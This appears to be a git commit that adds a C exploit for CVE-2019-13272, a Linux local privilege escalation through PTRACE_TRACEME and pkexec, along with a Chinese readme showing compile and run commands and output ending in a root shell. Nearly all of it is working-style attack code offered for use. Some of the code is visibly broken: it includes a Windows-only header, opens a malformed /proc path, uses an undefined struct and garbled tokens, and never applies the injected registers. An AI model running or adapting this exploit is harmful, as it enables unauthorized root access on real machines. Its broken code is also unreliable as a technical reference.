add CVE-2019-13272
Linux 本地提权漏洞
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helloexp
parent
43b09b2aa8
commit
8e80f40f52
332
00-CVE_EXP/CVE-2019-13272/exploit_traceme.c
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332
00-CVE_EXP/CVE-2019-13272/exploit_traceme.c
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#include <ctype.h>
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#include <assert.h>
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#include <conio.h>
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#include <stdio.h>
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#include <sys/syscall.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <sched.h>
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#include <stddef.h>
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#include <sys/user.h>
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#include <linux/elf.h>
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#include <stdarg.h>
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#include <pwd.h>
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#include <sys/prctl.h>
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#include <sys/wait.h>
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#include <sys/ptrace.h>
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#include <string.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <signal.h>
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#define _GNU_SOURCE
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#define DEBUG
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#ifdef DEBUG
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#define dprintf printf
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#endif
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#define max(a,b) ((a)>(b) ? (a) : (b))
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#define eff(expr) ({ \
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typeof(expr) __res = (expr); \
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if (__res == -1) { \
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dprintf("[-] Error: %s\n", #expr); \
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return 0; \
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} \
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__res; \
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})
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struct stat st;
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const char *trunk[1024];
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const char *trunks_rec[] = {
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"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
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"/usr/sbin/mate-power-backlight-helper",
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"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
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"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
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"/usr/lib/unity-settings-daemon/usd-backlight-helper",
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"/usr/bin/xfpm-power-backlight-helper",
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"/usr/bin/lxqt-backlight_backend",
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"/usr/lib/gsd-backlight-helper",
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"/usr/lib/gsd-wacom-led-helper",
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"/usr/lib/gsd-wacom-oled-helper",
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"/usr/libexec/gsd-wacom-led-helper",
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"/usr/libexec/gsd-wacom-oled-helper",
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"/usr/libexec/gsd-backlight-helper",
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};
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static int trace_align[2];
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static const char *path_exec = "/usr/bin/pkexec";
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static const char *path_action = "/usr/bin/pkaction";
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static int fd = -1;
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static int pipe_stat;
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static const char *term_sh = "/bin/bash";
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static int mid_succ = 1;
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static const char *path_doublealign;
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static char *tdisp(char *fmt, ...) {
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static char overlayfs[10000];
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va_list ap;
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va_start(ap, fmt);
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vsprintf(overlayfs, fmt, ap);
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va_end(ap);
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return overlayfs;
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}
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static int middle_main(void *overlayfs) {
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prctl(PR_SET_PDEATHSIG, SIGKILL);
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pid_t middle = getpid();
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fd = eff(open("/proc/_fd/exe", O_RDONLY));
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pid_t child = eff(fork());
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if (child == 0) {
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prctl(PR_SET_PDEATHSIG, SIGKILL);
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eff(dup2(fd, 42));
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int proc_fd = eff(open(tdisp("/proc/%d/status", middle), O_RDONLY));
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char *threadv = tdisp("\nUid:\t%d\t0\t", getuid());
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eff(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
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execl(path_exec, basename(path_exec), NULL);
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while (1) {
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char overlayfs[1000];
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ssize_t buflen = eff(pread(proc_fd, overlayfs, sizeof(overlayfs)-1, 0));
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overlayfs[buflen] = '\0';
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if (strstr(overlayfs, threadv)) break;
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}
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dprintf("SUID execution failed.");
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exit(EXIT_FAILURE);
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}
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eff(dup2(fd, 0));
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eff(dup2(trace_align[1], 1));
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struct passwd *pw = getpwuid(getuid());
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if (pw == NULL) {
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dprintf("err: username invalid/failed to fetch username");
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exit(EXIT_FAILURE);
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}
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mid_succ = 1;
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execl(path_exec, basename(path_exec), "--user", pw->pw_name,
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path_doublealign,
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"--help", NULL);
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mid_succ = 0;
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dprintf("err: pkexec execution failed.");
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exit(EXIT_FAILURE);
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}
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static int timeexecbuffer(pid_t pid, int exec_fd, char *arg0) {
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struct user_regs_struct regs;
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struct exeio exev = { .iov_base = ®s, .iov_len = sizeof(regs) };
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eff(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
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eff(waitpid(pid, &pipe_stat, 0));
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eff(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &exev));
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unsigned long inject_surface = (regs.rsp - 0x1000) & ~0xfffUL;
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struct injected_page {
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unsigned long inj_arse[2];
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unsigned long environment[1];
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char arg0[8];
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char path[1];
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} ipage = {
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.inj_arse = { inject_surface + offsetof(struct injected_page, arg0) }
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};
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strcpy(ipage.arg0, arg0);
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for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
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unsigned long pro_d = ((unsigned long *)&ipage)[i];
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eff(ptrace(PTRACE_POKETEXT, pid, inject_surface + i * sizeof(long),
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(void*)pro_d));
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}
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eff(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &exev));
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eff(ptrace(PTRACE_DETACH, pid, 0, NULL));
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eff(waitpid(pid, &pipe_stat, 0));
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regs.orig_rax = __NR_execveat;
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regs.rdi = exec_fd;
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regs.rsi = inject_surface + offsetof(struct injected_page, path);
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regs.rdx = inject_surface + offsetof(struct injected_page, inj_arse);
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regs.r10 = inject_surface + offsetof(struct injected_page, environment);
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regs.r8 = AT_EMPTY_PATH;
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}
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static int stag_2(void) {
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pid_t child = eff(waitpid(-1, &pipe_stat, 0));
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timeexecbuffer(child, 42, "stage3");
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return 0;
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}
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static int sh_spawn(void) {
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eff(setresgid(0, 0, 0));
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eff(setresuid(0, 0, 0));
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execlp(term_sh, basename(term_sh), NULL);
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dprintf("err: Shell spawn unsuccessful.", term_sh);
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exit(EXIT_FAILURE);
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}
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static int check_env(void) {
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const char* xdg_session = getenv("XDG_SESSION_ID");
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dprintf("accessing variables...\n");
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if (stat(path_action, &st) != 0) {
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dprintf("err: pkaction not found at %s.", path_action);
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exit(EXIT_FAILURE);
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}
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if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
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dprintf("warn: PolKit agent not found.\n");
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return 1;
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}
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if (stat("/usr/sbin/getsebool", &st) == 0) {
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if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
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dprintf("warn: [deny_ptrace] is enabled.\n");
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return 1;
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}
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}
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if (xdg_session == NULL) {
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dprintf("warn: $XDG_SESSION_ID is not set.\n");
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return 1;
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}
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if (stat(path_exec, &st) != 0) {
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dprintf("err: pkexec not found at %s.", path_exec);
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exit(EXIT_FAILURE);
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}
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dprintf("execution has reached EOP.\n");
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return 0;
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}
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int trunkh() {
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char cmd[1024];
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snprintf(cmd, sizeof(cmd), "%s --verbose", path_action);
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FILE *fp;
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fp = popen(cmd, "r");
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if (fp == NULL) {
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dprintf("err: Failed to run %s.\n", cmd);
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exit(EXIT_FAILURE);
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}
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char line[1024];
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char buffer[2048];
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int helper_index = 0;
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int useful_action = 0;
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static const char *threadv = "org.freedesktop.policykit.exec.path -> ";
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int needle_length = strlen(threadv);
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while (fgets(line, sizeof(line)-1, fp) != NULL) {
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if (strstr(line, "implicit active:")) {
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if (strstr(line, "yes")) {
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useful_action = 1;
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}
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continue;
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}
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if (useful_action == 0)
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continue;
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useful_action = 0;
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int length = strlen(line);
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char* found = memmem(&line[0], length, threadv, needle_length);
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if (found == NULL)
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continue;
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memset(buffer, 0, sizeof(buffer));
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for (int i = 0; found[needle_length + i] != '\n'; i++) {
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if (i >= sizeof(buffer)-1)
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continue;
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buffer[i] = found[needle_length + i];
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}
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if (stat(&buffer[0], &st) != 0)
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continue;
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if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
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strstr(&buffer[0], "/cpugovctl") != 0 ||
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strstr(&buffer[0], "/package-system-locked") != 0 ||
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strstr(&buffer[0], "/cddistupgrader") != 0) {
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dprintf("blacklisted thread helper ignored: %s\n", &buffer[0]);
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continue;
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}
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trunk[helper_index] = strndup(&buffer[0], strlen(buffer));
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helper_index++;
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if (helper_index >= sizeof(trunk)/sizeof(trunk[0]))
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break;
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}
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pclose(fp);
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return 0;
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}
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int root_ptraceme() {
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dprintf("helper initiated: %s\n", path_doublealign);
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eff(pipe2(trace_align, O_CLOEXEC|O_DIRECT));
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eff(fcntl(trace_align[0], F_SETPIPE_SZ, 0x1000));
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char overlayfs = 0;
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eff(write(trace_align[1], &overlayfs, 1));
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dprintf("SUID process is being initiated(%s) ...\n", path_exec);
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static char stackv[1024*1024];
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pid_t midpid = eff(clone(middle_main, stackv+sizeof(stackv),
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CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
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if (!mid_succ) return 1;
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while (1) {
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int fd = open(tdisp("/proc/%d/comm", midpid), O_RDONLY);
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char overlayfs[16];
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int buflen = eff(read(fd, overlayfs, sizeof(overlayfs)-1));
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overlayfs[buflen] = '\0';
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*strchrnul(overlayfs, '\n') = '\0';
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if (strncmp(overlayfs, basename(path_doublealign), 15) == 0)
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break;
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usleep(100000);
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}
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dprintf("midpid is being traced...\n");
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eff(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
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eff(waitpid(midpid, &pipe_stat, 0));
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dprintf("midpid attached.\n");
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timeexecbuffer(midpid, 0, "stage2");
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exit(EXIT_SUCCESS);
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}
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int main(int argc, char **inj_arse) {
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if (strcmp(inj_arse[0], "stage2") == 0)
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return stag_2();
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if (strcmp(inj_arse[0], "stage3") == 0)
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return sh_spawn();
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dprintf("Welcome to your Arsenal!\n");
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check_env();
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if (argc > 1 && strcmp(inj_arse[1], "check") == 0) {
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exit(0);
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}
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dprintf("efficient trunk is being searched...\n");
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trunkh();
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for (int i=0; i<sizeof(trunk)/sizeof(trunk[0]); i++) {
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if (trunk[i] == NULL)
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break;
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if (stat(trunk[i], &st) == 0) {
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path_doublealign = trunk[i];
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root_ptraceme();
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}
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}
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dprintf("familiar trunks are been searched ...\n");
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for (int i=0; i<sizeof(trunks_rec)/sizeof(trunks_rec[0]); i++) {
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if (stat(trunks_rec[i], &st) == 0) {
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path_doublealign = trunks_rec[i];
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dprintf("trunk helper found: %s\n", path_doublealign);
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root_ptraceme();
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}
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}
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return 0;
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}
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20
00-CVE_EXP/CVE-2019-13272/readme.md
Normal file
20
00-CVE_EXP/CVE-2019-13272/readme.md
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@ -0,0 +1,20 @@
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# CVE-2019-13272
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> Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec
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## 使用
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```shell script
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ujas@kali:~$ gcc exploit_traceme.c -o exploit_traceme
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ujas@kali:~$ ./exploit_traceme
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Welcome to your Arsenal!
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accessing variables...
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execution has reached EOP.
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familiar trunks are been searched ...
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trunk helper found: /usr/sbin/mate-power-backlight-helper
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helper initiated: /usr/sbin/mate-power-backlight-helper
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SUID process is being initiated (/usr/bin/pkexec) ...
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midpid is being traced...
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midpid attached.
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root@kali:/home/ujas#
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提权成功
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```
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